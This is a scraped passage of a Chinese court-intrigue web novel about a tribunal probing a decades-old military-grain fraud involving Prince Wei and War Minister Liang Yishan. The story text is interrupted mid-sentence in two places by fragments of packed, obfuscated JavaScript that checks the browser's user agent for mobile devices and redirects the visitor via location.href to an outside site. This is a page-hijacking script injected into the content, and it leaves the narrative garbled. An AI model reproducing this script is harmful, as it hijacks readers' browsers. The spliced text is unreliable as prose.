“没看到。但是听内阁在朝堂说的话,猜测左不过也是在该模糊的地方模糊,所以看不出什么线索,也与你和陆谦袁所说的没有什么出入。” 沈溟看乔广陵一派淡然,又问,“那你觉得陛下几时安排三司会审?” 乔广陵举起手里新写的琴谱,晾干墨迹,“不急,有人还没出手。” ****** 蔚王赵瑭今日不着道袍,换了身绛紫祥云刺绣收边大氅,内衬黑色缎面牡丹纹长袍。去了西郊城外皇庄。 大管司明礼随行,虽身在王府,但是他也多少听得一些风声。他觉察到蔚王同往日有些许的不同。小心翼翼说:“殿下,今年顶好的收成在庆东,各处庄子,殿下想看账簿还是粮的品相,就着人传个话就行。” 蔚王在马车内阖眸,半晌说:“明礼,你是不是也觉得邢柏年没有成功我就无力回天了?”明礼跟着马车,凑近车帘,不知作何回答。但听蔚王在车内继续说道:“听说内阁晁三易那个老东西对皇上重提了天元十七年的军粮案。”蔚王微微发笑。“可笑至极。” ****** 御前当差有人心思不纯,但是现在还不是清除的时候。 邱侣伴驾前往顺天殿,把蔚王今日行踪报了,乾泽帝听完只觉得累,并未说什么。顺天殿是皇城里独一处帝王、大臣、嫔妃均可踏足的场所,乾泽帝会在此处勤政、也经常在此处休憩。 乾泽帝躺在龙榻上,独留邱侣公公在侧。他心烦,闭着眼却没睡着。邱侣把幔帐外的灯熄得只剩两盏,又添了安神的香。乾泽帝感知到动静,唤他近前伺候。 “陛下,国事无穷尽,陛下也得注意龙体,不如早些歇息吧。”邱侣捞开幔帐,不小心触到帝王龙颜,他立即弓身跪在塌前,脑中觉得乾泽帝仿佛就在这一瞬间里老了许多。 乾泽帝盘坐,看向殿内仅剩的两盏灯火,“蔚王前日进宫请安,谈及庆东那支守备军,说是庆东守备不过是城防军,用不着享受庆东仓的粮饷。尽管庆东军曾经布设之时并不是作为城防军用的,但是这么多年过去,在职能上确实只是一城的守备军,即便曾经有过军功,也享受了这么多年优于其余地方守备军的待遇,也是时候收回皇恩了。”乾泽缓缓说着,冷笑出声,“他这是拿庆东军试探朕,也是在追忆往昔,提醒朕不要忘记了他的功劳。” 邱侣诚心实意的说:“陛下对蔚王殿下恩厚,是天下人尽皆知的,普天之下谁不感念陛下的仁心仁德,羡慕蔚王的泼天荣宠啊。” “这泼天的荣宠之下,灌溉出来的只怕不是如你所说的感恩之心,而是一颗虎狼之心。”乾泽帝愤懑,“仁德殿前阁老提及天元十七年前的军粮案,后脚蔚王请安,就提起了庆东的勤王军队。庆东军自有庆东军总镇,再往上还有淮王,甚至兵部,哪里轮到到他来伸手,在御前安插眼线不说,还来置喙军政,简直狂悖。” 邱侣奉上一盏参茶,替乾泽帝抚背。“陛下息怒啊,怒极伤身。” 乾泽抿了口茶,摆了摆手,邱侣退在一边。 “兵部?”乾泽帝在缓神的瞬间抓住了点什么,“三司会审不能拖延,明日你就去内阁传口谕,坞城军粮案和云城侵袭案,腊月之前不说结案,起码要给出点交代。” 邱侣走后乾泽帝觉得自己忘记说什么,忽然想到兵部作为旁听协理顺理成章,便把不让兵部插手的旨意压了下来。 ****** 邢柏年下落不明,五城兵马属司军牢中,关着一众囚犯,几个为首的被关了近月余,早已经不需要费心审讯。为防生变,沈溟拿捏着关键几个人的软肋,把主要人证在江南的沾亲带故查了个底掉,寻一契机送到了大理寺丞展光前的手中。展光前看不上刑部张松,会审的时候少不得互相攀比对垒,反倒让案子审理得比料想中迅速。内阁是此案主理,本来想让沈溟参与,任旁听协理之职,但是他说有问题随时恭候,兵马司事务繁多,不懂审案云云,将事情推得一干二净。晁三易没有说话,众人指摘了几句也懒得同他这个刚立功归来的纨绔多说什么。最终,内阁首辅晁三易携大理寺和刑部主审此案,兵部是本案责任重心,梁仪善自觉领了协理职责,坐在旁听席。 冬月初,乾泽帝就收到了会审结果,乾泽帝如众人所料般大发雷霆,但是针对蔚王的罪行始终没有体现在奏折中,这让乾泽帝松了一口气,同时也警觉起来,怀疑蔚王手能伸到内阁眼皮底下,这就触犯了他的逆鳞。 三司会审看似进入尾声,内阁已经开始要拟定主犯邢柏年的海捕文书和昭罪公文。却不料此时疯癫无状的曹忠脑子清醒了,说要陈情。案子审到这里,邢柏年抢劫军粮,叛国投敌的罪行板上钉钉,审来审去无非细节。休沐日中,三司没有休息,依然批了个案堂审讯曹忠。然而就在曹忠开口后,众人深感失望,觉得又被犯病的曹忠戏耍了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15250513|164060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “邢柏年不是主犯,主犯在这里,主犯就在这里啊。”曹忠哈哈大笑,俨然还是一副疯癫状。 展光前咬紧后槽牙面若冰霜,眼中寒光尽数刀在曹忠脸上。 曹忠感知不到,笑完后说:“你如今坐在这,是你赢了……你居然还能坐在这里,你赢了,我今日说什么都是于事无补啊。”曹忠看到梁仪善,还未开始审讯就满口胡言,“你们,你们都厉害,你们都赢,都赢……”然后把堂上之人都看做了洪水猛兽。 “他这样怎么审?”展光前脾气急,怒道。 刑部张松却敏锐的觉察到曹忠一开始是看向梁仪善,看着梁仪善一派稳坐如钟的样子,张松只觉得更加虚伪。 “阁老,下官先请一试。” 晁三易点了点头。 张松缓缓走到曹忠面前,“曹忠,这堂内,你与谁最熟?或者可有曾与你说过话的人?” “没,没有,我不熟,我与他不熟,是邢柏年,邢大人熟悉。” “别怕,你说,邢柏年都与谁熟悉,这个人在当场吗?” 曹忠抬眼,目光定在张松背后,那方位,是梁仪善。 梁仪善轻笑一声,“邢柏年直属兵部,我也是去过江南的,这曹忠,如此情状,恐易受人诱导蛊惑,即便今日审出点什么,作不作数,还值得商榷。张大人,最好莫要用力过度。” 展光前也觉得不妥,“我看着曹忠还是神志不清,阁老,不如去请宫里御医出马,能稳一时也是好的,至少还能问出点什么。” “不知曹忠为何会疯癫了呢?”阁老看着曹忠如此,叹了口气。 “这……恐怕只有那位下江南的御史大人清楚了。”梁仪善在晁三易这声叹息中想到了沈溟。 ****** “三司会审这么久,终于想起了沈御史。”北林看着正在教小阿辰刀法的沈溟。 “梁仪善恐怕是想祸水东引?”沈溟直觉梁仪善此刻要自己参与没安好心。“万一审出点对他不利的,干脆就说曹忠发疯,与我有关。” “如果曹忠一直没法清醒,或许梁仪善只想更早结案,并不想节外生枝。现在曹忠好一时歹一时,不如干脆把水搅的更浑,对他还有利些。”乔广陵和北林手谈,只看棋局,“曹忠的女儿快到永益城了,改日让他们见一面,也好叫曹忠安心。” 北林感叹道,“邢柏年拿曹忠家人做人质,早就泯灭了人性。岂知这样的关系根本不牢靠。幸好花师早早探知这些,要不然曹忠只能真成为疯子。” “邢柏年知道上面的人要弃他,曹忠也靠不住,所以才做了两手打算投了敌,就像蔚王和梁仪善拿捏邢柏年一样,邢柏年也是如此拿捏曹忠,且深知这样的服从只是一时。”乔广陵边说边搁了棋子。 “小阿辰,你学的很快,今日就到这吧。”沈溟从怀中抽出帕子给小阿辰擦了汗,拍了拍小阿辰的屁股,“去玩吧。” “沈叔叔的帕子真好闻。”小阿辰发现沈溟自从回来后没有捉弄自己,嘴也变得很甜,“等主子从东宫回来,我就把今日学的教给主子。”说完屁颠跑开了。 沈溟揣起帕子走到角亭中。“你们把不收学费的师傅仍在院中,自己倒是悠闲自在。” 悠闲的乔广陵貌若不经意的问:“你帕子上究竟是什么好味道?” 沈溟抱臂靠着柱,“你猜。” 北林轻轻啧了一声,不知道是因为人还是因为棋。 24.审问(下) 曹忠再次提审,已经恢复了神志,御医也说曹忠恢复得与常人无异。沈溟被安排协理,明堂上处于梁仪善对面。 晁阁老直接发问,说的却是和上次张松一模一样的话:“曹忠,此刻这堂内,你与谁最熟?谁又曾与你说过话?” “回首辅大人,除沈御史今秋在江南见过,就剩兵部尚书梁大人了。” “何时得见?” “天元十七年。” “一派胡言!”梁仪善当即喝到,又觉得不妥,尽量压住怒火,“天元十七年,我在永益城,你远在江南,我何时何地与你见过?” “大人,贵人多忘事,天元十七年,邢柏年从江南押运军粮到暮北,我是随行佥事,到达庆东港转运的时候,梁大人彼时也在,你可能只记得邢柏年,至于我这个小小佥事,梁大人应该是不记得了” 梁仪善脑中闪过许多事情,很快,庆东醒茶港上,交接军粮的画面依稀闪入脑海,梁仪善想起了当时负责押运军粮的邢柏年,只是他不记得当时从观澜仓运粮的人里面,还有一个叫做曹忠的佥事,对方肯定是在那场交接军粮的会面中记住了他。梁仪善那时不是兵部尚书,只是詹事兼任兵部主事。但是记住了又何妨,梁仪善放松了肩背,缓缓说:“你若说的是天元十七年庆东醒茶港军粮交接押运一事,那时我还不是兵部尚书,大家都是秉公办差,即便你见过我,又当如何呢?曹忠,你今日在此受审,需要交代的是坞城观澜仓遭到侵袭一事,最好多说点于案件相关的有用信息,少扯点陈年烂谷,对你也是有好处的。” 沈溟心不在焉,把堂里扫了一圈,看了一眼边上的三位秉笔,对曹忠开口道“这曹大人一时疯癫无状,一时又记性过人,信哪句不信哪句,真叫人拿不准啊,若真连天元年间的事情都记得这般清楚,后面审问也大抵可以相信他如太医所说,已经恢复神志,与正常人无异了。” 张松忽然灵光一闪,悠悠发问,“曹忠,大程每年三次下拨军粮,你说的到底是天元十七年什么时候,在庆东醒茶港见过梁大人。” “是天元十七年春,那年第一波军粮下拨比往年早,军粮路过庆东醒茶港,当时的督粮官下令对军粮例行检查,这一检查,就发现江南的军粮有一部分不符合军粮要求,要知道军粮有差池,可是大罪,就在督粮官心急如焚的时候,庆东有个贵人,说自己在庆东的庄子可以补足这一部分,于是我们就在庆东换粮,也因此耽搁了许多时日。” “什么?当时不是因为……”张松脱口说了一半,又立即噤声。 堂上众人讶然,天元十七年军粮送达比预计时间晚了大半月,当时江南运粮官说是天气导致,后户部和兵部欲追究此事,但督粮官病逝于庆东,此后不了了之。 “此事想来与案情无关,阁老?要不要……”要不要先按下不提,确保腊月之前将此案完结,曹忠不是死罪,先呈奏御前,牵扯旁的案子日后慢慢审也来得及。刑部张松压低声音,没把后半句说出口。 晁三易目光如炬,盯着曹忠,“你证明了你认识梁大人,对于梁大人和沈大人的问话回答得思路清晰。接下来你说说,邢柏年为何要指使你勾结土匪抢劫观澜仓?于你们各自又有何好处?” “首辅大人,抢劫军粮于邢柏年和我,均无好处。我女儿早在一年前落入邢柏年之手,我只这一个女儿,我不听话,我的女儿就,就……”曹忠悲恸哭泣。 “阁老,我在江南确实听说曹忠有一女儿,被邢柏年拿去做人质,后来曹忠事情败露被下狱,估计是知道自己的孩子八成活不了,才会羞愤交加,以至疯癫。”沈溟解释道。 展光前道:“此事我们均已查证,也知道沈御史当时即使公务缠身,也着人去查找此女下落。” 沈溟叹息道,“惭愧,派出去的人最终都是无功而返,没找到。” 曹忠没听到堂上的话,但是仿佛又陷入了悲伤中,晁三易摆摆手,“罢了,继续吧。” 展光前轻咳一声,“既然于你们都没有好处,你是受他胁迫,那他呢?他邢柏年为何要不遗余力的劫军粮?你说邢柏年拿你女儿做人质?那又为何邢柏年偏偏选了你,不去胁迫别人?” “用邢柏年的话来说,我们是一条绳上的蚂蚱。”曹忠深叹口气,“因为我们都有一个天大的把柄,握在在别人手里。” “天大的把柄?”张松紧了心神,直觉清醒后的曹忠不会让案子结得更顺利。“你指的是?天元十七年押运军粮?” “军粮押运出错,贻误暮北战争,暮北将士死伤无数。”曹忠下定决心般,沉痛的说。“这天大的罪责压下来,谁都担不起。” “天元十七年?”展光前不可置信的重复着。张松额上青筋突突跳了两下,转头看向晁三易,晁三易稳如泰山,只是表情更冷了。梁仪善扶住了太师椅,好像仍旧一副端坐如松之态。只有沈溟扶着茶盏,修长的食指绕着盖钮打圈,一副要喝不喝的闲散状。 “从天元十七年后,尽管我从一个小小的佥事升任瑞城知尹,但是我也知道,我黑暗的为官生涯自此开始了,此后所有罪孽,都只是因为,那一年随邢柏年一起押运观澜仓军粮去暮北。” 曹忠话中有话,虽不明确,但是已经可以肯定,邢柏年和曹忠有私,始于天元十七年。 “曹忠,你有什么话直说,有什么罪,干干脆脆的招出来,如果随意攀咬污蔑,到头来罪加一等,于你没有任何好处。”梁仪善这话算是警告,听不出深意。只有曹忠知道他在害怕什么。 曹忠低沉笑出声,抬眼盯着梁仪善,“梁大人记性也好啊,我说到天元十七年,你立刻反应过来那年自己只是兵部主事,想必那年对于梁大人而言,也是不同寻常的一年吧。” 众人把目光看向梁仪善,其脸上颜色几变,从容不再。 “梁大人。天元十七年军粮贻误,凭借这件事,邢柏年在江南听命于你,又拿着这个把柄辖制我,这么多年了,你都不想想为什么江南还有一个曹忠会对邢柏年言听计从吗?你肯定是不屑,不屑知道。蝇营狗苟的事情,邢柏年去做,而你,永远是那个高高在上,刚正不阿的兵部尚书。哈哈哈,曹忠说得云里雾里,似乎又要陷入癫狂。” 梁仪善紧握茶杯的手战栗不止,他豁然起身,指着曹忠呵斥,“竖子胡言,随意攀咬,你是眼见自己罪责难逃,官场不得志,想要拉扯整个兵部下水,这厮其心可诛!”梁仪善怒不可遏,竟然朗声唤人,“来人,来人,将这厮打入大牢,来人……” 满座寂然,各有各的震惊之态,梁仪善在注视中遽然回神,踉跄跌回太师椅中…… ****** 审讯曹忠再次搁置,众人聚在文渊阁没有商议出首尾,晁三易拟了奏疏,决定将明堂会审的文书草案一并上表,进宫亲呈给乾泽帝。 一起等在顺天殿外的张松发愁,“兹事体大,天元十七年的事曹忠兵只说了一点,恐怕后面牵扯甚广。”张松在刑部多年,最怕的就是案中案。也很怕案情牵扯到朝中官员,得罪人少不了,更怕触怒乾泽帝。 展光前狠咬后槽牙,“没想到三司明堂上,负责本案协理的兵部尚书牵涉本案,那前面所有案情奏疏,都等于白费力气了。” 张松不认同,“展大人莫不是要将之前所有供词全盘推翻?阁老主审,三主司都在,供词都没有问题,何必重审?再说,那帮土匪只是劫军粮的从犯,和天元十七年的案子又没有关系。” 展光前看张松如此,笑到,“张大人怕麻烦?我不怕,不如另寻他人参与会审,张大人回家歇着吧。” “哎你,你什么意思,我就事论事,如此大费周章,浪费人力物力……” “两位大人稍安,在外少言案情,等见了陛下,再议吧。” 晁三易劝完两人,内监也出来传话,“陛下请阁老入内。” ****** “三司审完曹忠,就进宫求见陛下了?”蔚王在软榻上打坐,微阖双眼。 “是,但是陛下只传了阁老觐见。” “说了什么?” “不知,说是陛下屏退左右,连邱侣公公都没留。” 蔚王到抽了口凉气,“梁仪善那边呢?本王教他来见,怎么没动静?” 江南案发后,梁仪善屡次求见蔚王,均被拒之门外。蔚王赵瑭今日却想见一见梁仪善,因为三司会审中,听闻有人提到了天元十七年暮北军粮一事。但是这次轮到蔚王吃闭门羹,“梁府门上小厮说,梁大人正在审理朝堂要案,此期间早晚都在刑部或内阁,闲杂人等均不得见。”明礼向蔚王解释着。 蔚王不屑,“什么了不得的要案,本王也成闲杂人了,听说沈溟在江南抓到姓曹的,被抓的时候就疯疯癫癫,近来却抖出了天元十七年的军粮案押运一事,真叫人头疼,原本邢柏年那个蠢货自己跑了,留下这么大烂摊子已经够该死的,现在还留下个祸患,也不知道他们审出了什么。” “殿下勿忧,奴才听说,那个叫曹忠的,只说邢柏年拿天元十七年押运的军粮有异来威胁他,伙同自己在江南做了不少错事,别的并未说什么,想来他一个小小佥事,并不知道内情。”明礼宽慰道:“奴才还听说,那人还说天元十七年庆东有位贵人,将不合格的军粮换下来,一来没说出这个贵人是谁,二来,从他嘴里说起来,这位贵人倒是有功呢。” 蔚王在明礼劝慰中理着心绪,良久后缓缓道:“我只盼望没人提及此事,不然……” “圣旨道!” 门外朗声呼传蔚王接旨,“传陛下口谕,朕今日幸得一墨宝,传蔚王前来与朕共同品鉴。” 说是品鉴墨宝,但蔚王心中莫名打鼓,不过还是一刻不敢耽误的入了宫。 顺天殿御书房内,两名太监小心谨慎的举着一副旧画作。 蔚王鉴宝无数,脱口道:“前朝司徒均的‘万里陈兵图’?”蔚王目光灼灼,将画 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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天元十七年,醒茶港前,蔚王对着蔚王妃弟弟自己的小舅子纳兰通说,“今年比往年早,这是数目,按照这个数,替换军粮。” 纳兰通在军粮例行检查的间隙,对督粮官李远说:“这个数,一两都不能错漏。” 李远很是为难:“这,这个数太多了。” “李大人不妨加快动作,今年下拨虽比往年早,暮北却是催得紧。”梁仪善说完,冲着纳兰通颔首微笑。 庆东醒茶港上,邢柏年看着装卸军粮的人马一筹莫展,纳兰通如此劝慰道:“邢大人放心吧,我们家主子可是替暮北军着想的,有一批皇庄的粮,能解你眼前之忧。” 庆东集营里,督粮官李远对邢柏年道:“暮北战事吃紧,此次交不了差,那便是万劫不复,耽搁的这点时日,比起军粮有误的罪责,微不足道。” 此后时任户部都给事中兼暮北监军的乔广陵抵达庆东,看着整装待发的军粮,狐疑发问:“为何军粮才到庆东?” 督粮官李远苦笑,“海上风浪不断,又遇到雨水天气,耽搁了。下官这便快马加鞭,将军粮押运至暮北。” 乔广陵视线随车龙延展,眺望北方,“李大人,我乃此次暮北监军,一路同行吧。” 蔚王在乾泽帝的提示中,短暂而快速的回忆着,将这段往事迅速同曹忠口中为君分忧的所谓佳话榫卯对接。“臣,臣惭愧,因为换粮,差点致使暮北战事贻误,都是臣当时年轻气盛,一意孤行……” “好了,你起来吧,当时为何不说?就因为耽搁了时间?” “回陛下,不仅耽搁了时间,当年那时节……”蔚王没有说下去,乾泽帝却觉得这没说下去的理由,才堪称一绝。乾泽帝轻笑,竟径直说了出来:“当年那时节,父皇垂危,暮北军功高盖主,二十多万暮北军一旦得了空,剑指永益城,不在话下,届时真的上演一出本朝的‘万里陈兵’可就是另一个故事了。” 乾泽帝看着画,旋即轻笑,“皇表哥,你说的很对,那年对于暮北军,我的确是这么想的,也是这样担忧的。” 蔚王扑通跪地,“臣无意揣测君意,只是当时暮北军做大,而永益城又恰逢多事之秋,人心不定,臣,臣的确在暮北军粮这件事上,帮与不帮,都纠结了许久。” “纠结了许久,最终还是选择了帮?” “是,臣以为,北赖进犯,暮北军食大程粮饷,必定会全力抗敌,至于永益城,区区季鹰军,尚不足为患。” “不足为患,是对谁的信心?” “……”这句问得诛心,因为彼时天元帝病重,监国太子并非如今面前的乾泽帝楚玹。 蔚王咬了咬下唇,“自然是对大程的信心,对楚氏的信心。” “为臣者,对上有信心,就有敬畏,有敬,也有畏。”乾泽帝把“畏”字说得轻而绵长,蔚王却觉得这个字重若千钧。 25.旧案 “宣水之阳锦户宁,独掌天宫云锦技。及笄堪绣帝王衣,尝以艺抵七成契,时人谓之宣门奇。贵门于郊建别业,亲索绣于宁门……” 琼琚楼里,有教习乐曲的姑娘断断续续唱着新词。 “这楼里唱的什么?” 楚珩许久没来琼琚楼,边上的护卫见他难得有雅性,立马哄道:“花女一离开王府,就来楼里教习姑娘们曲了,这是近来新教的,现在楼里的好些个女儿,都会唱了,殿下要着人来唱吗?” 楚珩抖了抖宽袖,“这是花女作的?不像她平日的风格,这曲里说了个什么故事?” “……”护卫答不上来,支支吾吾,就要去逮人来问。 楚珩立即阻止道:“愣头青一个,去外面候着吧。”人钻出去了,楚珩看着晃荡的珠帘,空荡的软阁,怅然若失,“带这些人来只会煞风景,要是……” 他闷了一口桌上盛放好的酒,桂香四溢,甘冽清甜,是罗子信喜欢的,包括琼琚楼独有的,底部镌刻着琼花的酒杯。 ****** 高殿之下,百官膜拜,山呼万岁。乾泽帝习惯了从这位置睥睨百官。 刑部张松呈奏三司会审进度,禀报说邢柏年劫军粮,以军粮为饵,勾结海贼进犯云城,证据凿凿,罪溯九族,昭罪书和海捕文书即日可下达各地。乾泽帝只是嗯了一声,审讯曹忠发现江南的事情还牵涉别案,彻底查清还需要时间,大殿之上张松故意按下不表。这事晁三易私下已经得到乾泽帝首肯。 就在众人以为早朝无事的时候,兵部左侍郎秦迅却站了出来。他朝乾泽帝跪行大礼,“陛下,臣有本启奏。” 秦迅这架势,不似寻常,显然是大事。 “秦爱卿,何事?” 秦迅前阵子称病在家,最近同僚见他精神不济,也不觉得异常。只是没想到这病,竟是心病。 “陛下!”秦迅伏地,“微臣有事启奏,臣要弹劾兵部尚书梁仪善,结党营私,盗换军粮,靡费公帑。” 朝堂上官员之间相互弹劾的事不少见,然而正四品大员首告自己直属正三品上官却是第一次,更何况还是执掌大程武官职责的权利中心兵部。朝中官员把目光都看向兵部所在,发现今日梁仪善并不在列,不禁开始相互交换眼神,似乎都只能看到诧异与疑惑。 乾泽帝没料曹忠看上去云里雾里的指控,真的会让人坐不住。梁仪善算不上纯臣,但是在乾泽帝看来至少算得上直臣。顶多是在做为一个直臣之前,还懂得一些明哲保身的伎俩和手腕,但是这无可厚非。 兵部右侍郎张启慧提醒道:“秦迅,你大殿之上首告自己的上官,是要讲求证据的,若只是官场的政见不合,大可不必如此,纵然你有什么想法,亦可奏疏秉承内阁,犯不着如此不顾后果。你方才所言,若是拿不出真凭实据,可是要追责的。”张启慧声音压得底,像只是对秦迅的私下劝解,而殿内官员却都听得清楚。 秦迅岿然不动,他跪在地上,含胸俯首,看得出坚毅,说出来的话亦是如此,“既然是告发,臣必定有凭据。请陛下容臣禀奏。” 邱侣看了眼乾泽帝,随即说道:“奏!” “天元十六年,臣从兵部都给事中升任至兵部,乾泽三年,又蒙陛下恩信,擢升为兵部左侍郎。然而就在臣任兵部左侍郎的这几年中,臣发现梁大人不仅和朝中权贵有勾结,还在每年下拨的军粮里做手脚,私自盗换军粮,以次充好,拿国库的粮食做人情,用来巩固和权贵的之间的关系,同时中饱私囊,满足自己的贪欲,名为大程官吏,实为国之蛀虫。今臣受任兵部,食君禄,当履公正,蹈公清。臣不忍见朝堂之上如梁仪善之辈继续病国殃民。” 秦迅一口气说完,从袖中拿出一份证词案卷,“每年梁大人去庆东醒茶港督查军粮检验调运,都会趁机换下一批军粮,这上面清晰记录自乾泽三年开始,梁仪善每年去庆东醒茶港督促交接军粮时间,以及盗换军粮的数目。” 秦迅是有备而来,众人不禁都将目光放在那证词上。 邱侣轻快走下御阶,接过那证词,呈交给乾泽帝。 涉及军粮,户部戴原忍不住问道:“秦大人既说梁大人盗换观澜港发往暮北的军粮,那敢问是拿什么粮换的,所换下来的军粮又去了哪里?” 秦迅继续说:“皇城内有哪位权贵,能够换下数目如此庞大的军粮?除了在永益皇城、泉启、忘水、庆东皆有皇庄的蔚王,试问还有谁能够做到呢?” 蔚王一族作为先皇后母家,天元年时就颇受恩宠,除了袭承的田庄宅院,还有今上赏赐的皇庄,数十年下来,到了蔚王这里,财帛成山,富庶无两。蔚王多年来在永益城无甚美名,甚至在私底下众人对其非议颇多,却从未有人拿到过蔚王的把柄,也无人公然检举揭发过蔚王的恶行。 “秦迅,你指证蔚王,可有实据?” “臣手里没有实据。但是户部有。” 户部戴原顿时慌了,“秦迅,你自己有证据便拿出来,怎么扯到户部了,户部哪有什么实据?” “臣自知没有拿到实打实的证据,但是从蔚王每年向朝廷供奉的药材和精米的品种就可以看出来,那些东西都出自江南而非庆东。蔚王每年都说自己在朝廷的皇庄虽有收成,但是品质不佳,就那自己在庆东的收成上供国库,难道户部不知道,这所谓的庆东皇庄所产的粮,其实来自江南?” 户部当然知道,只是户部不想深究,堂堂蔚王手里有什么都不奇怪,这也不是户部有权过问追究的。 刑部张松知道梁仪善并不无辜,但是没有实据,就敢牵涉到蔚王,可以说以卵击石。于是他故意反驳道:“你既然说蔚王将盗换来的军粮上缴给了户部,但是蔚王上缴户部的数量不过尔尔,剩余的粮,去了哪里?如果只是蔚王上缴国库的数目,说不定是蔚王自己从地方商贾互市购买来的,再不然也可能是地方商贾或官员送给蔚王的,你一口咬定那是盗换军粮所得,怕是站不住脚啊。” “若说实据,臣没有,但是间接证据,臣还是有的。天元十七年,蔚王不就因为换取军粮而立了功了吗,陛下近日因为往年蔚王立的功,而赏赐了蔚王‘万里陈兵图’这事,永益城中谁人不知。但是其实蔚王换下来的并非不合格的坏粮,而是按照蔚王自己所需的数目,换下来的优质粮。江南押运的军辎中还有蔚王及其看重的江南草药,这些草药,恰恰是性质温良,最适合蔚王修炼丹药的上成材料,永益皇城和周边几城的皇庄种植不出这样量多又品质上乘的药材,蔚王便用换军粮的幌子,将草药也一并换了来。天元十七年只是其中一次,其实每年,庆东醒茶港都在暗中协助蔚王,做着偷梁换柱的勾当。现在蔚王府中药库和庄子庄屯中,都存放着这些粮食和草药,只要一查,都是罪证。” 虽然三司会审的内容无人知晓,但是蔚王天元十七年的功劳被曹忠说出来之后就立即传遍永益城,直到乾泽帝赏赐蔚王,这事算是被间接证实了。如今这忠义之举被秦迅三言两语说成是大罪,还要查抄皇亲国戚的庄屯,乾泽帝必然不会点头。于是内阁秦俢出列,亦行了大礼,拜服在地。 “陛下,秦氏历代‘崇忠孝,倡谨信,尽忠国’,秦迅乃臣的弟弟,在兵部多年,发现了其上官梁仪善的恶行,最开始他向臣说起,臣亦斥他无凭无据,仅凭一面之词,难以教人信服,但是秦家世代忠良,秦迅所言又着实让人惊骇,臣身在内阁,纠察百官亦是臣之职责,因此近来臣亦格外留意梁大人在朝所为,发现其多次暗中和蔚王接触,且会面地点多在永益城外蔚王的皇庄。而至于秦迅所说天元十七年蔚王盗换军粮,臣亦有实据。” 秦氏兄弟联合告发兵部尚书梁仪善和蔚王? 众人惊愕,窃窃私语。 乾泽帝却并不诧异,“证据何在?” “证据就在内阁案卷室。” 蔡绅不明所以,“安素(王柳)兄,内阁案卷室怎么会有关于蔚王的卷宗啊?” “我也未曾见过啊。”阁部王柳道。 内阁臣子这等反应,显然说明今日秦氏兄弟二人这一举动,并没有牵涉到其二人所在的兵部和内阁,乾泽帝反而格外有耐心仔细听下去。“究竟是什么证据?秦俢,你大可说来。” “陛下,此证据并非直接涉及到蔚王,但是足以说明蔚王做了违反皇命。欺君罔上的事。天元十七年,暮北战事吃紧,先帝先是下旨提早一个多月下拨春季军粮,后又下令免去军粮在庆东醒茶刚港的查验章程,军粮在醒茶港上岸后直接押运到暮北。但饶是如此,暮北军却仍然迟了大半月才收到军粮。其中原因,并非当年督粮官所说的海上风浪大,遇到暴雨天气,而是先帝下的那道旨意,并未被接收。” 这下众人都狐疑了起来,“未被接收,是什么意思?” “天元十七年,先帝命当时的五城兵马总属司总都督沈尘寄去庆东传旨,但是后来不知为何,沈都督没有亲自去庆东,而是命自己的属下亲信乘快骑赶往庆东传旨,但是这名属下去了庆东,却丢了性命。不久后沈总督收到一封通过兵马属司信驿传回来的一个包裹,里面是一封遗书和先帝的手谕。遗书中说,庆东醒茶港盐提司拒不接旨,还说沈尘寄的属下假传圣旨,将其关押在庆东刑狱。后来沈都督亲自前往庆东寻找这名传旨的属下,但始终没有结果。这些都是天元十九年,沈都督过身后,吏部去沈家核验沈都督在职公文的时候找到的,当时这份遗书并手谕和一封沈都督在天元十七年的奏折存放在一起。显然,沈都督是打算将此事上奏朝廷的。” 张启慧立即问道,“既然吏部将文书整理上缴内阁,但是怎么天元十九年的时候,内阁无人出面来说此事?” 乾泽帝神情微敛,隐有怒意。 一直没说话的周岑却在此时说话了,“陛下,天元十九年,臣已在内阁,此事臣可说明。”周岑手持玉笏行完礼,转头看向兵部张启慧,语气温而有力的说:“天元十九年,内阁接手吏部交上来的沈都督在职文书等遗物,便由时任阁部的我和一众大学士整理归档,归档过程中,确实发现了这封奏折,虽然遗书和手谕具在,但是那奏折却没有盖沈都督印信。此后臣将此奏折递交阁老,阁老携臣面圣,先帝在顺天殿内,对此事所持圣见是‘斯人已逝,封卷不究’。” 乾泽帝轻舒一口气,看着周岑,喜怒不清。 百官闻至此,深觉个中内情深不见底,只是周岑搬出先帝,无人敢置喙半句。原本颇为盛气的张启慧此时也噤声不语。只有性格直率的张松却没有站边意味的问了一句:“既然先帝爷都说了此事‘封卷不究’,那今日内阁秦大人偏偏提及,是否不妥?且凭借过世的沈都督的遗物,似乎并非力证。毕竟周大人也说,奏折没有盖章,所谓遗书真假,更难判定。” 秦迅没多想,顺着张松的问题回道:“不难判定,奏折笔迹是不是沈都督亲笔,这些遗物又是不是出自沈府,可以问沈大人的儿子,也就是如今五城兵马属司的沈溟沈千户。传他来看一看笔迹真伪,问一问当年情况不就可以了,况且当年吏部是去沈家收取公文,想必沈千户也是有印象的。” 百官一时无言,传不传沈溟,等待乾泽帝发话。 晁三易少见的在朝堂上站了出来,“陛下,其实不必如此麻烦。” “哦?阁老有何意见?” “先帝既说了封卷不究,那天元十七年沈都督的奏疏自当不作数的。”此言一出就连乾泽帝也吃了一惊,要知道晁三易此前可是在仁德殿里主动提起过天元十七年的事,并明指蔚王以权谋私。 阁部李明维为人刚正,朝堂之上,忍不住急切反问起了晁三易,“阁老,秦氏兄弟二人接连告发,时移世易,难道要因循守旧,眼看着不法之事发生,放任案件存疑而不管吗?” 蔡绅偷偷拽了拽李明维,目不斜视摇了摇头。 晁三易神情不变,接着说道:“陛下,先帝所说的不究,只是针对沈尘寄当年上疏所说的事,但是奏折中所含先帝手谕,确实是真的,这一点先帝当年没有否认,内阁亦可以保证。” 